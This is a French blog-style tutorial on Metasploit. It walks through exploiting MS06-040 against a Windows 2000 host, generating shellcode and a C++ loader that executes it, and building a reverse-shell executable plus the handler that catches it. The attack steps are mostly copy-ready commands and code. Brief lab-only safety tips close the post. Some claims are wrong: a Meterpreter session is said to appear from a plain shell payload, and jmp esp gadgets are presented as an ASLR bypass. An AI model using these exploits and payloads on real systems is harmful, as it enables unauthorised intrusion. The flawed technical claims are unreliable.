Créer et déployer des exploits avec Metasploit : guide pratique

  1. Installation rapide de Metasploit Framework

Sur Windows, téléchargez le fichier metasploitframework-latest.msi depuis le site officiel puis double-cliquez pour lancer l’assistant. Après l’installation, ajoutez D:\metasploit-framework\bin à la variable PATH via Propriétés système ▸ Paramètres système avancés ▸ Variables d’environnement. Ouvrez ensuite un terminal et lancez msfconsole.

  1. Architecture et arborescence

  • data : fichiers de configuration exploitables
  • lib : cœur Ruby (Rex, Msf::Core, Msf::Base)
  • modules : exploit, auxiliary, payload, encoder, nop
  • tools : utilitaires CLI (msfvenom, msfpescan, etc.)
  1. Démarrage et premières commandes

msfconsole -q            # démarre sans bannière
msf6 > help              # liste complète
msf6 > search ms06_040   # recherche rapide

La complétion Tab fonctionne partout : use exploit/windows/smb/ms<Tab>.

  1. Exploitation d’un hôte Windows 2000 (MS06-040)

Préparation

Rôle OS IP
Attaquant Windows 10 192.168.137.1
Cible Windows 2000 SP4 192.168.137.132

Script d’attaque

use exploit/windows/smb/ms06_040_netapi
set RHOSTS 192.168.137.132
set PAYLOAD windows/shell_bind_tcp
set TARGET 0
exploit

Si la cible est vulnérable, un shell interactif s’ouvre.

  1. Génération de shellcodes avec msfvenom

5.1 MessageBox personnalisée

msfvenom -p windows/messagebox TEXT="Bonjour MSF" -f c -o msg.c

Exemple de chargeur C++ simplifié :

#include <windows.h>
int main() {
    unsigned char buf[] = "...";   // shellcode généré
    void* addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(addr, buf, sizeof(buf));
    ((void(*)())addr)();
    VirtualFree(addr, 0, MEM_RELEASE);
}

5.2 Reverse shell exécutable

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.137.1 LPORT=4444 \
         -b '\x00\x0a\x40' -f exe -o reverse.exe

Lancez ensuite un handler :

use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST 192.168.137.1
set LPORT 4444
exploit -j

Dès que la victime exécute reverse.exe, la session Meterpreter apparaît.

  1. Recherche de gadgets « trampoline »

msfpescan extrait les adresses de saut utiles :

msfpescan -j esp c:\windows\system32\kernel32.dll

Cette commande liste les jmp esp exploitables pour contourner l’ASLR.

  1. Conseils de sécurité

  • Testez uniquemant sur des machines que vous possédez ou autorisez.
  • Utilisez un labo isolé (VM NAT ou réseau interne).
  • Supprimez les artefacts post-test : sessions -K, suppression des exécutables générés.

Étiquettes: metasploit msfvenom shellcode reverse-shell MS06-040

Publié le 12 août à 02h21